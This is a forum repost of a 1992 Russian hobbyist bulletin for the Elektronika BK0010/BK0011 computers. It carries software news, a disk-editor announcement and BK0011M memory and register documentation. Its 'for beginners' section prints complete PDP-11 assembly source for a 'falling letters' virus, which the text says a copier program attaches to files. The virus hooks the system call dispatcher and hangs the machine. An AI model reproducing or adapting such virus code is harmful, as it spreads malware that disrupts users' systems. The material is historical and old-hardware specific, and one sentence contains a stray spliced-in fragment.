Пятница, 19.04.2024, 17:42

..



Главная Регистрация Вход
Приветствую Вас, Гость · Браузер: « v»
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Всё об «Электроника БК0010(-01), БК0011(М)»! » Газеты | Документации | Статьи | Журналы » Газеты на «БК001x» » «Times» » «Times N10» [01.10.92] (Автор: MKT corp. [Королёв М.])
«Times N10» [01.10.92]
-=RUS=-Дата: Воскресенье, 24.08.2014, 03:49 | Сообщение # 1
Генералиссимус
Группа: Администраторы
Сообщений: 352
Репутация: 1
Статус: Offline
©
        © MKT corp.      Times N10      01-Oct-92
┌═════════════════════════════════════════════════════════════┐
║                                                             ║
║    /▓▓▓▓▓▓▓▓▓▓   /▓▓                                        ║
║     ▓  /▓▓  /▓   / /                                        ║
║    //   ▓▓  //  /▓▓▓   /▓▓ /▓▓     /▓▓▓▓▓    /▓▓▓▓▓▓▓       ║
║         ▓▓      //▓▓    ▓▓▓▓▓▓▓  /▓▓▓  /▓▓▓   ▓▓    /       ║
║         ▓▓        ▓▓    ▓▓▓▓▓▓▓   ▓▓▓▓▓▓▓▓▓  //▓▓▓▓▓        ║
║         ▓▓        ▓▓    ▓▓ ▓ ▓▓   ▓▓      /   /   /▓▓       ║
║       /▓▓▓▓     /▓▓▓▓   ▓▓// ▓▓  //▓▓▓▓▓▓    /▓▓▓▓▓▓/       ║
║       /   /     /   /  / /  / /   /     /    /     /        ║
║                                                             ║
║       Рекламно-информационный бюллетень БК-"Times" N10      ║
└═════════════════════════════════════════════════════════════┘
                         Октябрь 1992г.

                "Бюллетень БК Times" Королев Михаил.
                        телефон 499-41-06
             Также встретится со мной можно в клубе БК.

                       СЕГОДНЯ В НОМЕРЕ:
                       ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
        - Новости.
        - Это интересно.
        - Программисту. Обмен опытом.
        - Все о БК0011м
        - Объявления.

                   *************************

                            НОВОСТИ.
                            ¯¯¯¯¯¯¯¯
  К системе ANDOS  v2.23  вышел  коммандер-оболочка  "БК-SHELL"
(файл  SHELL8  для  ОЗУ  8к  и  SHELL16  для  16к),  написанный
неизвестной, пока, фирмой BAL corp.  Оболочка  выглядит  весьма
эффектно, особенно на цветном мониторе (все  надписи  прекрасно
читаются).  Обещанный  же  двухоконный  коммандер  Надежина   и
Романова выйдет вместе с системой v3.0, или чуть позже.

  Все к той же ANDOS v2.23 фирмой GASP  (С. Петербург) выпущена
утилитка - ЭЛЕКТРОННЫЙ ДИСК для БК11(м). Основные параметры :
    Полная емкость:........ 73.5 Кбайт или 147 блоков;
    Полезная емкость:...... 33 кластера.
  Такое количество памяти  позволяет  хранить  4  программы  по
16Кбайт, что делает его  привлекательным  для  использования  в
качестве рабочего. Быстрый доступ,  простота  в  пользовании  -
вот  его  главные  удобства.  В  отличие  от  системы  NORD  by
Прудковский используются 5 страниц памяти а не две.

  Фирмой RDC сделана программа TRD-COPY  -  дисковая  программа
для перегонки графики, в обе стороны на ZX-SPECTRUM  в  формате
TR-DOS, программа позволяет, также просто копировать файлы  без
изменений в обе стороны, записывать БК-шные картинки  на  диски
синклера,   в   автоматическом   режиме   искать   спрайты    в
синклеровских программах и  записывать  их  на  БК  в  форматах
редакторов ANIMATIC и MULTIPAINT.  Кстати  RDC  сделал  плавную
читалку для текстов на 25 строк, с форматом текста  совместимым
с READER9, но без вставки управляющих кодов, на что можно  было
бы и сослаться.

                          ЭТО ИНТЕРЕСНО
                         (а может и нет)
                         ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  МКТ (то есть автор этих строк), практически закончил програм-
му DESS v1.0, он выйдет в течении ближайших двух недель. Версия
же x0.6, как рекламная с  успехом  продается  под  смехотворные
проценты в компьютерном центре на ст.М. Октябрьская (ул.Донская
д.6). DESS v1.0 (с защитой) будет скорее всего  поставляться  в
комплекте системы ANDOS v3.0,  рознично  продаваться  только  в
техническом  центре  "БК-Сервис"  фирмы  Altec,  что  у   метро
Китай-город, (Подкопаевский  пер.  д.7  комн.10)  под  проценты
автору, от других  же  торгующих  организаций  автор  принимает
заказы на разовую покупку  тиражирующийся  программы  (также  с
защитой) по цене 5 тыс.руб.

                 Возможности программы DESS x0.9:
                 ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
      - занести число в ячейку
      - ввести строку символов
      - плюс/минус число к содержимому ячейки
      - ввод байта (только в поле символов)
      - вверх/вниз на 400 байт
      - поставить метку
      - поменять курсор с меткой
      - переход по адресу
      - выбор блока (0-3100)
      - выбор устройства (0-3)
      - выход  из программы
      - аварийный выход из программы
      - Help (инструкция)
      - скопировать блок на: [-D-]evice, [-B-]lock
      - записать блок на диск
      - ввести мнемонику ассемблера
      - задать модель поиска:
           [-W-]ord  - слова
           [-B-]yte  - байта
           [-A-]scii - строки символов
      - поиск модели, КТ - остановить
      - вид дополнительной информации:
        [-B-]inary  - двоичная
        [-D-]ecimal - десятичная (умолч.)
        [-O-]ctal   - восьмеричная

 В поле символов дополнительная информация выводится только о
байте.
 Все вводимые числа - восьмеричные по умолчанию, если  в  конце
стоит точка '.' - десятичное, если 'B' - двоичное.
 В случае ошибки выдается сообщение, любая клавиша -  повторить
операцию, [-I-]gnore - игнорировать.
 В версии 1.0 набор функций будет расширен.
Программа работает во всех операционных системах  на  БК10(11),
если же у ВАС операционная система ANDOS,  и  вставленный  диск
тоже ANDOSовский, о чем программа узнает  сама,  то  происходит
автоматическая  настройка  на  формат  записи  (40/80  дорожек,
1/2 стороны), если есть  электронный  диск,  то  поддерживается
работа и с ним.
                            Внешний вид:
                            ¯¯¯¯¯¯¯¯¯¯¯¯
 DESS x0.9 Blk:000240/00160. Adr:000000 Binary:0010100000000000

 000000)000000 000000 000000 000000 000000 000000║............║
 000014)000000 000000 000000 000000 000000 000000║............║
                    . . . . . .
 000744)000000 000000 000000 000000 000000 000000║............║
 000760)000000 000000 000000 000000 000000 000000║............║
 000774)000000 000000 000000 000000 000000 000000║............║
Exit?
¯¯¯¯¯                    Macro-11: HALT

                          ОБМЕН ОПЫТОМ.
                          ¯¯¯¯¯¯¯¯¯¯¯¯¯
                     Новичкам об ассемблере.

  Здесь приводится ассемблерный  текст  вируса  падающих  букв,
подшиваемого  копировщиком  CF47V  by  MKT,   блок   собственно
буквМесто для формулы.опада дается намеренно без комментариев, если Вы новичок  в
ассемблере то постарайтесь сами разобраться  как  он  работает,
так как хороших учебников по ассемблеру нет, то придется учится
и совершенствоваться  разбором  чужих,  для  начала  несложных,
программ.  Лучше  всего  это  делать  с  помощью  какого-нибудь
"MIRAGE-подобного отладчика" - MIRAGE, MIR26, OS0010, OS-91D...

VIRUS:  MOV  PC,R1           ;вычисление фактич.адреса метки D
        MOV  @#30,10(R1)     ;(для перемещаемости)
        BR   0
D:      .WORD 100112
0:      ADD  #32,R1          ;вычисление факт.адр.
        MOV  R1,@#30         ;EMT диспетчера
        MOV  R1,A
        EMT  14
JMP:    JMP  @#1000          ;возврат
        MOV  R5,-(SP)
        MOV  2(SP),R5
        MOV  -(R5),R5
        CMP  #104014,R5      ;если EMT14
        BEQ  B               ;переход на имитацию
        MOV  (SP)+,R5        ;любая другая - проверка на исчерпание
        CMP  @#76,#4         ;ресурса счетчика и переход на вирус
        BEQ  1
        DEC  @#76            ;уменьшить содержание счетчика на 1
        JMP  @D              ;обработать EMT
                             ;Собственно вирус
1:      MOV  #1330,@#177664  ;уст.40000 в начало экрана
        MOV  PC,R1
        ADD  (PC)+,R1        ;вычисление факт.адреса
        .WORD @STOP+2        ;обработки кл.СТОП
        MOV  #77700,R1       ;уст.нач адреса опроса
2:      TSTB (R1)
        BEQ  5
        MOV  #300,R0
3:      SOB  R0,3
        MOVB (R1),R0
        TSTB 100(R1)
        BNE  5
        CLRB (R1)
        MOV  R1,R2
        ADD  #100,R1
        MOVB R0,(R1)
        CMP  R1,#77600
        BGE  5
4:      SUB  #100,R2
        CMP  R2,#40000
        BLOS 2
        TSTB (R2)
        BEQ  2
        MOVB (R2),100(R2)
        CLRB (R2)
        BR   4
5:      SUB  #100,R1
        CMP  R1,#40000
        BGE  2
        INC  R1
        ADD  #37700,R1
        BR   2
STOP:   MOV  #14747,@#37776     ;зависание по клавише СТОП
        JMP  @#37776
A:      HALT
B:      MOV  (SP)+,R5           ;имитация EMT 14
        CALL @#100140
        MOV  #4500,@#76
        MOV  A,@#30
        RTI
       .END

                        ВСЕ О БК0011.
                        ¯¯¯¯¯¯¯¯¯¯¯¯¯
  В последнее время все большее распространение  получает  ПЭВМ
"Электроника БК0011М" (а также неудавшийся ее  собрат  БК0011).
Многие пользователи  и  программисты  используют  ее  лишь  как
эмулятор БК0010 с большим объемом ОЗУ, мало зная о возможностях
машины. А возможности ее огромны. Ну во первых на ней  работает
операционная система ОС-БК11  V4.0,  полностью  соответствующая
системе RT11 v5.4, тв есть "родная" система DEC-машин к каковым
относится БК, следовательно пользователь  получает  возможность
пользоваться   огромным   банком    программного   обеспечения,
накопленного в мире для DEC-ЭВМ  под  ОС  RT11.  Это  множество
языков программирования - BASIC, PASCAL,  C,  PROLOG,  FORTRAN,
FOCAL, MACROASSEMBLER, и мн. др., мощнейшие редакторы  текстов,
базы данных, и множество других полезных программ.  Также  БК11
относится и к семейству БК, поэтому на  ней  можно  эмулировать
БК0010(01) и работать с программами написанными для нее.
  Распределение адресного пространства ЭВМ БК0011м.
  Виртуальное   адресное    пространство    ЭВМ    определяется
возможностями  процессора  К1801ВМ1    составляет   64К   байт.
  Переключение  страниц  ОЗУ/ПЗУ  осуществляется  програмно  с
использованием  системного  регистра  ЭВМ.   Следует   обратить
внимание, что  каждая  страница  ОЗУ  может  быть  одновременно
подключена к двум окнам.

                    АДРЕСНОЕ ПРОСТРАНСТВО:
                    ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
┌─────────┐┌────────┐┌────────┐┌────────┬─────────┬─────────┐
│стр ОЗУ 0│| окно 0 || окно 1 |│Сист.ПЗУ│ПЗУ КНГМД│ р-ры ВУ │
└─────────┘└────────┘└────────┘└────────┴─────────┴─────────┘
 0         40000     100000    140000   160000    177600

  В пространстве 0-40000 лежит страница ОЗУ 0,  отсюда  она  не
отключается, хотя может быть параллельно подключена в любое  из
окон.
   40000-100000 окно 0 для подключения страниц ОЗУ 0-7.
  100000-140000 окно  1  для  подключения  страниц  ОЗУ  0-7  и
страниц ПЗУ 11 и 12.

  Две  страницы  ОЗУ  5  и  6  являются  буферами  графического
дисплея.  Один  из  буферов  постоянно  отображен  на   экране.
Страница 5 является буфером экрана 0, а страница 6 - буфером 1.
  Страница ПЗУ 11 включает в себя ПЗУ Бейсика,  страница  12  -
страница ПЗУ пользователя (съемный отсек).

                 Регистр управления палитрами.
                 ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
  Адрес - 177662
  Доступность: запись
  ┌──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┐
  │15│14│13│12│11│10│09│08│07│06│05│04│03│02│01│00│
  └──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┘
   ↑  ↑       ↑           ↑
   │  │       └───────────┘
   │  │        код палитры
   │  │
   │  └─ управление таймером
   └── управление буфером экрана

Разряд 15
     - управляет отображением буферов экрана.  При  значении  0
     отображается буфер 0, при 1 - буфер 1.

Разряд 14
     - управляет включением системного таймера. При значении  0
     таймер включен, при  1  -  выключен.  Таймер  работает  по
     прерыванию,  поэтому  во  избежании  неправильной   работы
     программ не следует его включать, в частности  не  следует
     заносить что-либо в регистр командой BIS (BIC), т.к.   при
     их выполнении сначала происходит чтение, а затем запись  в
     регистр, но по чтению по этому  адресу  находится  регистр
     данных клавиатуры.

Разряды 11-8
     -  в  эти  разряды  заносится  четырехбитный  (0..15)  код
     палитры, которая  задает  кодировку  цветов  на  экране  в
     режиме 256 точек/строку.

                     Регистр управления памятью.
                     ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Адрес - 177716
Доступность: запись
  ┌──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┬──┐
  │15│14│13│12│11│10│09│08│07│06│05│04│03│02│01│00│
  └──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┴──┘
     ↑       ↑ ↑ ↑        ↑          ↑  ↑     ↑  ↑
     └───────┘ │ └────────┘          │  │     │  │
      окно 0   │   окно 1            └──┴─────┴──┤
               │                                 │
               └─ разрешение записи в регистр    │
                                                 │
            разрешение работы страниц ПЗУ ───────┘

Разряды 14-12
     - трехбитная кодировка номера страницы ОЗУ, подключаемой к
     окну 1 (40000-100000), см. ниже.

Разряд 11
     - должен содержать 1, в  противном  случае  по  записи  по
     этому адресу стоит регистр управления магнитофоном.

Разряды 10-8
     - кодировка номера страницы ОЗУ,  подключаемой  к  окну  1
     (100000-140000).

Разряд 4
     -   Разрешает   подключение   к   адресному   пространству
     100000-140000 (окно1) страницы ПЗУ N3, отключает  страницу
     ОЗУ с соответствующих адресов. Страница ПЗУ пользователя.

Разряд 3
     -  Разрешает  подключение  к  окну  1  страницы  ПЗУ N2,
     отключает страницу ОЗУ. ПЗУ драйвера локальной сети.

Разряд 1
     -  Разрешает  подключение  к  окну  1  страницы  ПЗУ N1,
     отключает страницу ОЗУ. 8к-Бейсик + 8к монитор.

Разряд 0
     -  Разрешает  подключение  к  окну  1  страницы  ПЗУ N0,
     отключает страницу ОЗУ. ПЗУ Бейсика.

        Кодировка переключаемых страниц ОЗУ:
 БИТ    14  13  12
       (10) (9) (8)

        1   1   0   страница 0 (постоянно отображена 0..40000)
        0   0   0   страница 1
        0   1   0   страница 2
        0   1   1   страница 3
        1   0   0   страница 4
        0   0   1   страница 5 (буфер экрана 0)
        1   1   1   страница 6 (буфер экрана 1)
        1   0   1   страница 7 (системная страница)


 
Всё об «Электроника БК0010(-01), БК0011(М)»! » Газеты | Документации | Статьи | Журналы » Газеты на «БК001x» » «Times» » «Times N10» [01.10.92] (Автор: MKT corp. [Королёв М.])
  • Страница 1 из 1
  • 1
Поиск:

-=RUS=-
ICQ: 320867225
asr-corp@yandex.ru
bk001x@yandex.ru